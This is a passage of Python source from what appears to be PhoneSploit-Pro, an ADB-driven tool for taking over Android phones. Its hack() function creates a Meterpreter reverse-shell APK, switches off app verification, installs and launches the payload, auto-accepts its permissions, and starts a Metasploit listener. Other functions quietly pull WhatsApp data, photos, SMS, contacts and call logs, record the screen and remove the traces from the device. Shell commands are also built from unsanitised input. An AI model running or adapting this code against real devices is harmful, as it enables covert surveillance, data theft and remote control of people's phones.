380 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
381 | else:
382 | os.system("adb uninstall " + package_name)
383 | else:
384 | print(
385 | f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
386 | return
387 |
388 | print("\n")
389 |
390 |
391 | def launch_app():
392 | print(
393 | f"\n{color.CYAN}Enter package name. {color.WHITE}Example : com.spotify.music ")
394 | package_name = input("> ")
395 |
396 | if package_name == '':
397 | print(
398 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
399 | return
400 | else:
401 | os.system("adb shell monkey -p " + package_name + " 1")
402 | print("\n")
403 |
404 |
405 | def list_apps():
406 | print(f'''
407 |
408 | {color.WHITE}1.{color.GREEN} List third party packages {color.WHITE}
409 | {color.WHITE}2.{color.GREEN} List all packages {color.WHITE}
410 | ''')
411 | mode = (input("> "))
412 |
413 | if mode == '1':
414 | os.system("adb shell pm list packages -3")
415 | elif mode == '2':
416 | os.system("adb shell pm list packages")
417 | else:
418 | print(
419 | f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
420 | print("\n")
421 |
422 |
423 | def reboot(key):
424 | print(
425 | f'\n{color.RED}[Warning]{color.YELLOW} Restarting will disconnect the device{color.WHITE}')
426 | choice = input('\nDo you want to continue? Y / N > ').lower()
427 | if choice == 'y' or choice == '':
428 | pass
429 | elif choice == 'n':
430 | return
431 | else:
432 | while choice != 'y' and choice != 'n' and choice != '':
433 | choice = input('\nInvalid choice!, Press Y or N > ').lower()
434 | if choice == 'y' or choice == '':
435 | pass
436 | elif choice == 'n':
437 | return
438 |
439 | if key == 'system':
440 | os.system('adb reboot')
441 | else:
442 | print(f'''
443 | {color.WHITE}1.{color.GREEN} Reboot to Recovery Mode
444 | {color.WHITE}2.{color.GREEN} Reboot to Bootloader
445 | {color.WHITE}3.{color.GREEN} Reboot to Fastboot Mode
446 | {color.WHITE}''')
447 | mode = (input("> "))
448 | if mode == '1':
449 | os.system('adb reboot recovery')
450 | elif mode == '2':
451 | os.system('adb reboot bootloader')
452 | elif mode == '3':
453 | os.system('adb reboot fastboot')
454 | else:
455 | print(
456 | f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
457 | return
458 |
459 | print("\n")
460 |
461 |
462 | def list_files():
463 | print('\n')
464 | os.system('adb shell ls -a /sdcard/')
465 | print('\n')
466 |
467 |
468 | def get_ip_address():
469 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
470 | s.connect(("8.8.8.8", 80))
471 | return s.getsockname()[0]
472 |
473 |
474 | def instructions():
475 | """Prints instructions for Metasploit and returns user's choice"""
476 | os.system(clear)
477 | print(banner.instructions_banner + banner.instruction)
478 | choice = input('> ')
479 | if choice == '':
480 | return True
481 | else:
482 | return False
483 |
484 |
485 | def hack():
486 | continue_hack = instructions()
487 | if continue_hack:
488 | os.system(clear)
489 | ip = get_ip_address() # getting IP Address to create payload
490 | lport = '4444'
491 | print(
492 | f"\n{color.CYAN}Using LHOST : {color.WHITE}{ip}{color.CYAN} & LPORT : {color.WHITE}{lport}{color.CYAN} to create payload\n{color.WHITE}")
493 |
494 | choice = input(
495 | f"\n{color.YELLOW}Press 'Enter' to continue OR enter 'M' to modify LHOST & LPORT > {color.WHITE}").lower()
496 |
497 | if choice == 'm':
498 | ip = input(f"\n{color.CYAN}Enter LHOST > {color.WHITE}")
499 | lport = input(f"\n{color.CYAN}Enter LPORT > {color.WHITE}")
500 | elif choice != '':
501 | while choice != 'm' and choice != '':
502 | choice = input(
503 | f"\n{color.RED}Invalid selection! , Press 'Enter' OR M > {color.WHITE}").lower()
504 | if choice == 'm':
505 | ip = input(f"\n{color.CYAN}Enter LHOST > {color.WHITE}")
506 | lport = input(f"\n{color.CYAN}Enter LPORT > {color.WHITE}")
507 |
508 | print(banner.hacking_banner)
509 | print(f"\n{color.CYAN}Creating payload APK...\n{color.WHITE}")
510 | # creating payload
511 | os.system(
512 | f"msfvenom -p android/meterpreter/reverse_tcp LHOST={ip} LPORT={lport} > test.apk")
513 | print(f"\n{color.CYAN}Installing APK to target device...{color.WHITE}\n")
514 | os.system('adb shell input keyevent 3') # Going on Home Screen
515 |
516 | # Disabling App Verification
517 | os.system('adb shell settings put global package_verifier_enable 0')
518 | os.system('adb shell settings put global verifier_verify_adb_installs 0')
519 |
520 | # installing apk to device
521 | if operating_system == 'Windows':
522 | # (used 'start /b' to execute command in background)
523 | # os.system("start /b adb install -r test.apk")
524 | os.system("adb install -r test.apk")
525 | else:
526 | # (used ' &' to execute command in background)
527 | # os.system("adb install -r test.apk &")
528 | os.system("adb install -r test.apk")
529 | # time.sleep(5) # waiting for apk to be installed
530 |
531 | # Discarding these steps
532 | # print(
533 | # f"\n{color.CYAN}Sending keycodes to Bypass Google Play Protect\n{color.WHITE}")
534 | # os.system('adb shell input keyevent 20')
535 | # os.system('adb shell input keyevent 20')
536 | # os.system('adb shell input keyevent 66')
537 |
538 | # Keyboard input to accept app install
539 | print(f"\n{color.CYAN}Launching app...\n{color.WHITE}")
540 | package_name = "com.metasploit.stage" # payload package name
541 | os.system("adb shell monkey -p " + package_name + " 1")
542 | time.sleep(3) # waiting for app to launch
543 |
544 | # Keyboard input to accept app permissions
545 | print(
546 | f"\n{color.CYAN}Sending keycodes to accept the app permissions\n{color.WHITE}")
547 | os.system('adb shell input keyevent 22')
548 | os.system('adb shell input keyevent 22')
549 | os.system('adb shell input keyevent 66')
550 |
551 | # Launching Metasploit
552 | print(
553 | f"\n{color.RED}Launching and Setting up Metasploit-Framework\n{color.WHITE}")
554 | os.system(
555 | f"msfconsole -x 'use exploit/multi/handler ; set PAYLOAD android/meterpreter/reverse_tcp ; set LHOST {ip} ; set LPORT {lport} ; exploit'")
556 |
557 | # Re-Enabling App Verification (Restoring Device to Previous State)
558 | os.system('adb shell settings put global package_verifier_enable 1')
559 | os.system('adb shell settings put global verifier_verify_adb_installs 1')
560 |
561 | else:
562 | print('\nGoing Back to Main Menu\n')
563 |
564 |
565 | def copy_whatsapp():
566 | global pull_location
567 | if pull_location == '':
568 | print(
569 | f"\n{color.YELLOW}Enter location to save WhatsApp Data, Press 'Enter' for default{color.WHITE}")
570 | pull_location = input("> ")
571 | if pull_location == "":
572 | pull_location = 'Downloaded-Files'
573 | print(
574 | f"\n{color.PURPLE}Saving data to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
575 | else:
576 | print(f"\n{color.PURPLE}Saving data to {pull_location}\n{color.WHITE}")
577 |
578 | # folder_status = os.system(
579 | # 'adb shell test -d "/sdcard/Android/media/com.whatsapp/WhatsApp"')
580 |
581 | # 'test -d' checks if directory exist or not
582 | # If WhatsApp exists in Android
583 | if os.system('adb shell test -d "/sdcard/Android/media/com.whatsapp/WhatsApp"') == 0:
584 | location = '/sdcard/Android/media/com.whatsapp/WhatsApp'
585 | elif os.system('adb shell test -d "/sdcard/WhatsApp"') == 0:
586 | location = '/sdcard/WhatsApp'
587 | else:
588 | print(
589 | f"{color.RED}\n[Error]{color.GREEN} WhatsApp folder does not exist {color.GREEN}")
590 | return
591 |
592 | os.system(f"adb pull {location} {pull_location}")
593 | print('\n')
594 |
595 |
596 | def copy_screenshots():
597 | global pull_location
598 | if pull_location == '':
599 | print(
600 | f"\n{color.YELLOW}Enter location to save all Screenshots, Press 'Enter' for default{color.WHITE}")
601 | pull_location = input("> ")
602 |
603 | if pull_location == "":
604 | pull_location = 'Downloaded-Files'
605 | print(
606 | f"\n{color.PURPLE}Saving Screenshots to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
607 | else:
608 | print(
609 | f"\n{color.PURPLE}Saving Screenshots to {pull_location}\n{color.WHITE}")
610 |
611 | # Checking if folder exists
612 | if os.system('adb shell test -d "/sdcard/Pictures/Screenshots"') == 0:
613 | location = '/sdcard/Pictures/Screenshots'
614 | elif os.system('adb shell test -d "/sdcard/DCIM/Screenshots"') == 0:
615 | location = '/sdcard/DCIM/Screenshots'
616 | elif os.system('adb shell test -d "/sdcard/Screenshots"') == 0:
617 | location = '/sdcard/Screenshots'
618 | else:
619 | print(
620 | f"{color.RED}\n[Error]{color.GREEN} Screenshots folder does not exist {color.GREEN}")
621 | return
622 | os.system(f"adb pull {location} {pull_location}")
623 | print('\n')
624 |
625 |
626 | def copy_camera():
627 | global pull_location
628 | if pull_location == '':
629 | print(
630 | f"\n{color.YELLOW}Enter location to save all Photos, Press 'Enter' for default{color.WHITE}")
631 | pull_location = input("> ")
632 | if pull_location == "":
633 | pull_location = 'Downloaded-Files'
634 | print(
635 | f"\n{color.PURPLE}Saving Photos to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
636 | else:
637 | print(f"\n{color.PURPLE}Saving Photos to {pull_location}\n{color.WHITE}")
638 |
639 | # Checking if folder exists
640 | if os.system('adb shell test -d "/sdcard/DCIM/Camera"') == 0:
641 | location = '/sdcard/DCIM/Camera'
642 | else:
643 | print(
644 | f"{color.RED}\n[Error]{color.GREEN} Camera folder does not exist {color.GREEN}")
645 | return
646 | os.system(f"adb pull {location} {pull_location}")
647 | print('\n')
648 |
649 |
650 | def anonymous_screenshot():
651 | global screenshot_location
652 | # Getting a temporary file name to store time specific results
653 | file_name = f'screenshot-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.png'
654 | os.system(f"adb shell screencap -p /sdcard/{file_name}")
655 | if screenshot_location == '':
656 | print(
657 | f"\n{color.YELLOW}Enter location to save all screenshots, Press 'Enter' for default{color.WHITE}")
658 | screenshot_location = input("> ")
659 | if screenshot_location == "":
660 | screenshot_location = 'Downloaded-Files'
661 | print(
662 | f"\n{color.PURPLE}Saving screenshot to PhoneSploit-Pro/{screenshot_location}\n{color.WHITE}")
663 | else:
664 | print(
665 | f"\n{color.PURPLE}Saving screenshot to {screenshot_location}\n{color.WHITE}")
666 |
667 | os.system(f"adb pull /sdcard/{file_name} {screenshot_location}")
668 |
669 | print(f'\n{color.YELLOW}Deleting screenshot from Target device\n{color.WHITE}')
670 | os.system(f"adb shell rm /sdcard/{file_name}")
671 |
672 | # Asking to open file
673 | choice = input(
674 | f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
675 | if choice == 'y' or choice == '':
676 | os.system(f"{opener} {screenshot_location}/{file_name}")
677 |
678 | elif not choice == 'n':
679 | while choice != 'y' and choice != 'n' and choice != '':
680 | choice = input(
681 | '\nInvalid choice!, Press Y or N > ').lower()
682 | if choice == 'y' or choice == '':
683 | os.system(f"{opener} {screenshot_location}/{file_name}")
684 |
685 | print("\n")
686 |
687 |
688 | def anonymous_screenrecord():
689 | global screenrecord_location
690 | # Getting a temporary file name to store time specific results
691 | file_name = f'vid-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.mp4'
692 |
693 | duration = input(
694 | f"\n{color.CYAN}Enter the recording duration (in seconds) > {color.WHITE}")
695 | print(f'\n{color.YELLOW}Starting Screen Recording...\n{color.WHITE}')
696 | os.system(
697 | f"adb shell screenrecord --verbose --time-limit {duration} /sdcard/{file_name}")
698 |
699 | if screenrecord_location == '':
700 | print(
701 | f"\n{color.YELLOW}Enter location to save all videos, Press 'Enter' for default{color.WHITE}")
702 | screenrecord_location = input("> ")
703 | if screenrecord_location == "":
704 | screenrecord_location = 'Downloaded-Files'
705 | print(
706 | f"\n{color.PURPLE}Saving video to PhoneSploit-Pro/{screenrecord_location}\n{color.WHITE}")
707 | else:
708 | print(
709 | f"\n{color.PURPLE}Saving video to {screenrecord_location}\n{color.WHITE}")
710 |
711 | os.system(f"adb pull /sdcard/{file_name} {screenrecord_location}")
712 |
713 | print(f'\n{color.YELLOW}Deleting video from Target device\n{color.WHITE}')
714 | os.system(f"adb shell rm /sdcard/{file_name}")
715 | # Asking to open file
716 | choice = input(
717 | f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
718 | if choice == 'y' or choice == '':
719 | os.system(f"{opener} {screenrecord_location}/{file_name}")
720 |
721 | elif not choice == 'n':
722 | while choice != 'y' and choice != 'n' and choice != '':
723 | choice = input(
724 | '\nInvalid choice!, Press Y or N > ').lower()
725 | if choice == 'y' or choice == '':
726 | os.system(f"{opener} {screenrecord_location}/{file_name}")
727 | print("\n")
728 |
729 |
730 | def use_keycode():
731 | keycodes = True
732 | os.system(clear)
733 | print(banner.keycode_menu)
734 | while keycodes:
735 | print(f"\n {color.CYAN}99 : Clear Screen 0 : Main Menu")
736 | keycode_option = input(
737 | f"{color.RED}\n[KEYCODE] {color.WHITE}Enter selection > ").lower()
738 |
739 | match keycode_option:
740 | case '0':
741 | keycodes = False
742 | display_menu()
743 | case '99':
744 | os.system(clear)
745 | print(banner.keycode_menu)
746 | case '1':
747 | text = input(f'\n{color.CYAN}Enter text > {color.WHITE}')
748 | os.system(f'adb shell input text "{text}"')
749 | print(f'{color.YELLOW}\nEntered {color.WHITE}"{text}"')
750 | case '2':
751 | os.system('adb shell input keyevent 3')
752 | print(f'{color.YELLOW}\nPressed Home Button{color.WHITE}')
753 | case '3':
754 | os.system('adb shell input keyevent 4')
755 | print(f'{color.YELLOW}\nPressed Back Button{color.WHITE}')
756 | case '4':
757 | os.system('adb shell input keyevent 187')
758 | print(f'{color.YELLOW}\nPressed Recent Apps Button{color.WHITE}')
759 | case '5':
760 | os.system('adb shell input keyevent 26')
761 | print(f'{color.YELLOW}\nPressed Power Key{color.WHITE}')
762 | case '6':
763 | os.system('adb shell input keyevent 19')
764 | print(f'{color.YELLOW}\nPressed DPAD Up{color.WHITE}')
765 | case '7':
766 | os.system('adb shell input keyevent 20')
767 | print(f'{color.YELLOW}\nPressed DPAD Down{color.WHITE}')
768 | case '8':
769 | os.system('adb shell input keyevent 21')
770 | print(f'{color.YELLOW}\nPressed DPAD Left{color.WHITE}')
771 | case '9':
772 | os.system('adb shell input keyevent 22')
773 | print(f'{color.YELLOW}\nPressed DPAD Right{color.WHITE}')
774 | case '10':
775 | os.system('adb shell input keyevent 67')
776 | print(f'{color.YELLOW}\nPressed Delete/Backspace{color.WHITE}')
777 | case '11':
778 | os.system('adb shell input keyevent 66')
779 | print(f'{color.YELLOW}\nPressed Enter{color.WHITE}')
780 | case '12':
781 | os.system('adb shell input keyevent 24')
782 | print(f'{color.YELLOW}\nPressed Volume Up{color.WHITE}')
783 | case '13':
784 | os.system('adb shell input keyevent 25')
785 | print(f'{color.YELLOW}\nPressed Volume Down{color.WHITE}')
786 | case '14':
787 | os.system('adb shell input keyevent 126')
788 | print(f'{color.YELLOW}\nPressed Media Play{color.WHITE}')
789 | case '15':
790 | os.system('adb shell input keyevent 127')
791 | print(f'{color.YELLOW}\nPressed Media Pause{color.WHITE}')
792 | case '16':
793 | os.system('adb shell input keyevent 61')
794 | print(f'{color.YELLOW}\nPressed Tab Key{color.WHITE}')
795 | case '17':
796 | os.system('adb shell input keyevent 111')
797 | print(f'{color.YELLOW}\nPressed Esc Key{color.WHITE}')
798 |
799 | case other:
800 | print("\nInvalid selection!\n")
801 |
802 |
803 | def open_link():
804 | print(f'\n{color.YELLOW}Enter URL {color.CYAN}Example : https://github.com {color.WHITE}')
805 | url = input('> ')
806 |
807 | if url == '':
808 | print(
809 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
810 | return
811 | else:
812 | print(f'\n{color.YELLOW}Opening "{url}" on device \n{color.WHITE}')
813 | os.system(f'adb shell am start -a android.intent.action.VIEW -d {url}')
814 | print('\n')
815 |
816 |
817 | def open_photo():
818 | location = input(
819 | f"\n{color.YELLOW}Enter Photo location in computer{color.WHITE} > ")
820 |
821 | if location == '':
822 | print(
823 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
824 | return
825 | else:
826 | if location[len(location)-1] == ' ':
827 | location = location.removesuffix(' ')
828 | location = location.replace("'", "")
829 | location = location.replace('"', '')
830 | if not os.path.isfile(location):
831 | print(
832 | f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
833 | return
834 | else:
835 | location = '"' + location + '"'
836 | os.system("adb push " + location + " /sdcard/")
837 |
838 | file_path = location.split('/')
839 | file_name = file_path[len(file_path) - 1]
840 |
841 | # Reverse slash ('\') splitting for Windows only
842 | global operating_system
843 | if operating_system == 'Windows':
844 | file_path = file_name.split('\\')
845 | file_name = file_path[len(file_path) - 1]
846 |
847 | file_name = file_name.replace("'", '')
848 | file_name = file_name.replace('"', "")
849 | file_name = "'" + file_name + "'"
850 | print(file_name)
851 | print(f'\n{color.YELLOW}Opening Photo on device \n{color.WHITE}')
852 | os.system(
853 | f'adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main -d "file:///sdcard/{file_name}" -t image/jpeg') # -a android.intent.action.VIEW
854 | print('\n')
855 |
856 |
857 | def open_audio():
858 | location = input(
859 | f"\n{color.YELLOW}Enter Audio location in computer{color.WHITE} > ")
860 |
861 | if location == '':
862 | print(
863 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
864 | return
865 | else:
866 | if location[len(location)-1] == ' ':
867 | location = location.removesuffix(' ')
868 | location = location.replace("'", "")
869 | location = location.replace('"', '')
870 | if not os.path.isfile(location):
871 | print(
872 | f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
873 | return
874 | else:
875 | location = '"' + location + '"'
876 | os.system("adb push " + location + " /sdcard/")
877 |
878 | file_path = location.split('/')
879 | file_name = file_path[len(file_path) - 1]
880 |
881 | # Reverse slash ('\') splitting for Windows only
882 | global operating_system
883 | if operating_system == 'Windows':
884 | file_path = file_name.split('\\')
885 | file_name = file_path[len(file_path) - 1]
886 |
887 | file_name = file_name.replace("'", '')
888 | file_name = file_name.replace('"', "")
889 |
890 | file_name = "'" + file_name + "'"
891 | print(file_name)
892 | print(f'\n{color.YELLOW}Playing Audio on device \n{color.WHITE}')
893 | os.system(
894 | f'adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main -d "file:///sdcard/{file_name}" -t audio/mp3')
895 |
896 | print(
897 | f"\n{color.YELLOW}Waiting for 5 seconds before playing file.\n{color.WHITE}")
898 | time.sleep(5)
899 | # To play the file using Chrome
900 | os.system('adb shell input keyevent 126')
901 | print('\n')
902 |
903 |
904 | def open_video():
905 | location = input(
906 | f"\n{color.YELLOW}Enter Video location in computer{color.WHITE} > ")
907 |
908 | if location == '':
909 | print(
910 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
911 | return
912 | else:
913 | if location[len(location)-1] == ' ':
914 | location = location.removesuffix(' ')
915 | location = location.replace("'", "")
916 | location = location.replace('"', '')
917 | if not os.path.isfile(location):
918 | print(
919 | f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
920 | return
921 | else:
922 | location = '"' + location + '"'
923 | os.system("adb push " + location + " /sdcard/")
924 |
925 | file_path = location.split('/')
926 | file_name = file_path[len(file_path) - 1]
927 |
928 | # Reverse slash ('\') splitting for Windows only
929 | global operating_system
930 | if operating_system == 'Windows':
931 | file_path = file_name.split('\\')
932 | file_name = file_path[len(file_path) - 1]
933 |
934 | file_name = file_name.replace("'", '')
935 | file_name = file_name.replace('"', "")
936 | file_name = "'" + file_name + "'"
937 | print(file_name)
938 | print(f'\n{color.YELLOW}Playing Video on device \n{color.WHITE}')
939 | os.system(
940 | f'adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main -d "file:///sdcard/{file_name}" -t video/mp4')
941 |
942 | print(
943 | f"\n{color.YELLOW}Waiting for 5 seconds before playing file.\n{color.WHITE}")
944 | time.sleep(5)
945 | # To play the file using Chrome
946 | os.system('adb shell input keyevent 126')
947 | print('\n')
948 |
949 |
950 | def get_device_info():
951 | model = os.popen(f'adb shell getprop ro.product.model').read()
952 | manufacturer = os.popen(
953 | f'adb shell getprop ro.product.manufacturer').read()
954 | chipset = os.popen(f'adb shell getprop ro.product.board').read()
955 | android = os.popen(f'adb shell getprop ro.build.version.release').read()
956 | security_patch = os.popen(
957 | f'adb shell getprop ro.build.version.security_patch').read()
958 | device = os.popen(f'adb shell getprop ro.product.vendor.device').read()
959 | sim = os.popen(f'adb shell getprop gsm.sim.operator.alpha').read()
960 | encryption_state = os.popen(f'adb shell getprop ro.crypto.state').read()
961 | build_date = os.popen(f'adb shell getprop ro.build.date').read()
962 | sdk_version = os.popen(f'adb shell getprop ro.build.version.sdk').read()
963 | wifi_interface = os.popen(f'adb shell getprop wifi.interface').read()
964 |
965 | print(f'''
966 | {color.YELLOW}Model :{color.WHITE} {model}\
967 | {color.YELLOW}Manufacturer :{color.WHITE} {manufacturer}\
968 | {color.YELLOW}Chipset :{color.WHITE} {chipset}\
969 | {color.YELLOW}Android Version :{color.WHITE} {android}\
970 | {color.YELLOW}Security Patch :{color.WHITE} {security_patch}\
971 | {color.YELLOW}Device :{color.WHITE} {device}\
972 | {color.YELLOW}SIM :{color.WHITE} {sim}\
973 | {color.YELLOW}Encryption State :{color.WHITE} {encryption_state}\
974 | {color.YELLOW}Build Date :{color.WHITE} {build_date}\
975 | {color.YELLOW}SDK Version :{color.WHITE} {sdk_version}\
976 | {color.YELLOW}WiFi Interface :{color.WHITE} {wifi_interface}\
977 | ''')
978 |
979 |
980 | def battery_info():
981 | battery = os.popen(f'adb shell dumpsys battery').read()
982 | print(f'''\n{color.YELLOW}Battery Information :
983 | {color.WHITE}{battery}\n''')
984 |
985 |
986 | def send_sms():
987 | print(
988 | f'\n{color.RED}[Warning] {color.CYAN}This feature is currently in BETA, Tested on Android 12 only{color.WHITE}')
989 |
990 | number = input(
991 | f'{color.YELLOW}\nEnter Phone number with country code{color.WHITE} (e.g. +91XXXXXXXXXX) > ')
992 |
993 | if number == '':
994 | print(
995 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
996 | return
997 | else:
998 | message = input(
999 | f'{color.YELLOW}\nEnter your message {color.WHITE}> ')
1000 |
1001 | print(f'{color.CYAN}\nSending SMS to {number} ...{color.WHITE}')
1002 | os.system(
1003 | f'adb shell service call isms 5 i32 0 s16 "com.android.mms.service" s16 "null" s16 "{number}" s16 "null" s16 "{message}" s16 "null" s16 "null" s16 "null" s16 "null"')
1004 |
1005 |
1006 | def unlock_device():
1007 | password = input(
1008 | f'{color.YELLOW}\nEnter password or Press \'Enter\' for blank{color.WHITE} > ')
1009 | os.system('adb shell input keyevent 26')
1010 | os.system('adb shell input swipe 200 900 200 300 200')
1011 | if not password == '': # if password is not blank
1012 | os.system(f'adb shell input text "{password}"')
1013 | os.system('adb shell input keyevent 66')
1014 | print(f'{color.GREEN}\nDevice unlocked{color.WHITE}')
1015 |
1016 |
1017 | def lock_device():
1018 | os.system('adb shell input keyevent 26')
1019 | print(f'{color.GREEN}\nDevice locked{color.WHITE}')
1020 |
1021 |
1022 | def dump_sms():
1023 | global pull_location
1024 | if pull_location == '':
1025 | print(
1026 | f"\n{color.YELLOW}Enter location to save SMS file, Press 'Enter' for default{color.WHITE}")
1027 | pull_location = input("> ")
1028 | if pull_location == "":
1029 | pull_location = 'Downloaded-Files'
1030 | print(
1031 | f"\n{color.PURPLE}Saving SMS file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
1032 | else:
1033 | print(f"\n{color.PURPLE}Saving SMS file to {pull_location}\n{color.WHITE}")
1034 | print(f'{color.GREEN}\nExtracting all SMS{color.WHITE}')
1035 | file_name = f'sms_dump-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.txt'
1036 | os.system(
1037 | f'adb shell content query --uri content://sms/ --projection address:date:body > {pull_location}/{file_name}')
1038 |
1039 |
1040 | def dump_contacts():
1041 | global pull_location
1042 | if pull_location == '':
1043 | print(
1044 | f"\n{color.YELLOW}Enter location to save Contacts file, Press 'Enter' for default{color.WHITE}")
1045 | pull_location = input("> ")
1046 | if pull_location == "":
1047 | pull_location = 'Downloaded-Files'
1048 | print(
1049 | f"\n{color.PURPLE}Saving Contacts file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
1050 | else:
1051 | print(
1052 | f"\n{color.PURPLE}Saving Contacts file to {pull_location}\n{color.WHITE}")
1053 | print(f'{color.GREEN}\nExtracting all Contacts{color.WHITE}')
1054 | file_name = f'contacts_dump-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.txt'
1055 | os.system(
1056 | f'adb shell content query --uri content://contacts/phones/ --projection display_name:number > {pull_location}/{file_name}')
1057 |
1058 |
1059 | def dump_call_logs():
1060 | global pull_location
1061 | if pull_location == '':
1062 | print(
1063 | f"\n{color.YELLOW}Enter location to save Call Logs file, Press 'Enter' for default{color.WHITE}")
1064 | pull_location = input("> ")
1065 | if pull_location == "":
1066 | pull_location = 'Downloaded-Files'
1067 | print(
1068 | f"\n{color.PURPLE}Saving Call Logs file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
1069 | else:
1070 | print(
1071 | f"\n{color.PURPLE}Saving Call Logs file to {pull_location}\n{color.WHITE}")
1072 | print(f'{color.GREEN}\nExtracting all Call Logs{color.WHITE}')
1073 | file_name = f'call_logs_dump-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.txt'
1074 | os.system(
1075 | f'adb shell content query --uri content://call_log/calls --projection name:number:duration:date > {pull_location}/{file_name}')
1076 |
1077 |
1078 | def extract_apk():
1079 | print(
1080 | f"\n{color.CYAN}Enter package name {color.WHITE}Example : com.spotify.music ")
1081 | package_name = input("> ")
1082 |
1083 | if package_name == '':
1084 | print(
1085 | f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
1086 | return
1087 | else:
1088 |
1089 | global pull_location
1090 | if pull_location == '':
1091 | print(
1092 | f"\n{color.YELLOW}Enter location to save APK file, Press 'Enter' for default{color.WHITE}")
1093 | pull_location = input("> ")
1094 | if pull_location == "":
1095 | pull_location = 'Downloaded-Files'
1096 | print(
1097 | f"\n{color.PURPLE}Saving APK file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
1098 | else:
1099 | print(
1100 | f"\n{color.PURPLE}Saving APK file to {pull_location}\n{color.WHITE}")
1101 | print(f'{color.GREEN}\nExtracting APK...{color.WHITE}')
1102 | path = os.popen(f'adb shell pm path {package_name}').read()
1103 | path = path.replace('package:', '')
1104 | os.system(f'adb pull {path}')
1105 | file_name = package_name.replace('.', '_')
1106 | # os.system(f'{move} base.apk {pull_location}/{file_name}.apk')
1107 | os.rename("base.apk", f"{pull_location}/{file_name}.apk")
1108 |
1109 | print("\n")
1110 |
1111 |
1112 | def mirror():
1113 | print(f'''
1114 | {color.WHITE}1.{color.GREEN} Default Mode {color.YELLOW}(Best quality)
1115 | {color.WHITE}2.{color.GREEN} Fast Mode {color.YELLOW}(Low quality but high performance)
1116 | {color.WHITE}3.{color.GREEN} Custom Mode {color.YELLOW}(Tweak settings to increase performance)
1117 | {color.WHITE}''')
1118 | mode = input("> ")
1119 | if mode == '1':
1120 | os.system('scrcpy')
1121 | elif mode == '2':
1122 | os.system('scrcpy -m 1024 -b 1M')
1123 | elif mode == '3':
1124 | print(
1125 | f'\n{color.CYAN}Enter size limit {color.YELLOW}(e.g. 1024){color.WHITE}')
1126 | size = input("> ")
1127 | if not size == '':
1128 | size = '-m ' + size
1129 |
1130 | print(
1131 | f'\n{color.CYAN}Enter bit-rate {color.YELLOW}(e.g. 2) {color.WHITE}(Default : 8 Mbps)')
1132 | bitrate = input("> ")
1133 | if not bitrate == '':
1134 | bitrate = '-b ' + bitrate + 'M'
1135 |
1136 | print(f'\n{color.CYAN}Enter frame-rate {color.YELLOW}(e.g. 15){color.WHITE}')
1137 | framerate = input("> ")
1138 | if not framerate == '':
1139 | framerate = '--max-fps=' + framerate
1140 |
1141 | os.system(f'scrcpy {size} {bitrate} {framerate}')
1142 | else:
1143 | print(
1144 | f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
1145 | return
1146 | print('\n')
1147 |
1148 |
1149 | def power_off():
1150 | print(
1151 | f'\n{color.RED}[Warning]{color.YELLOW} Powering off device will disconnect the device{color.WHITE}')
1152 | choice = input('\nDo you want to continue? Y / N > ').lower()
1153 | if choice == 'y' or choice == '':
1154 | pass
1155 | elif choice == 'n':
1156 | return
1157 | else:
1158 | while choice != 'y' and choice != 'n' and choice != '':
1159 | choice = input('\nInvalid choice!, Press Y or N > ').lower()
1160 | if choice == 'y' or choice == '':
1161 | pass
1162 | elif choice == 'n':
1163 | return
1164 | os.system(f'adb shell reboot -p')
1165 | print('\n')
1166 |
1167 |
1168 | def update_me():
1169 | print(f'{color.YELLOW}\nUpdating PhoneSploit-Pro\n{color.WHITE}')
1170 | print(f'{color.GREEN}Fetching latest updates from GitHub\n{color.WHITE}')
1171 | os.system('git fetch')
1172 | print(f'{color.GREEN}\nApplying changes\n{color.WHITE}')
1173 | os.system('git rebase')
1174 | print(f'{color.CYAN}\nPlease restart PhoneSploit-Pro{color.WHITE}')
1175 | exit_phonesploit_pro()
1176 |
1177 |
1178 | def visit_me():
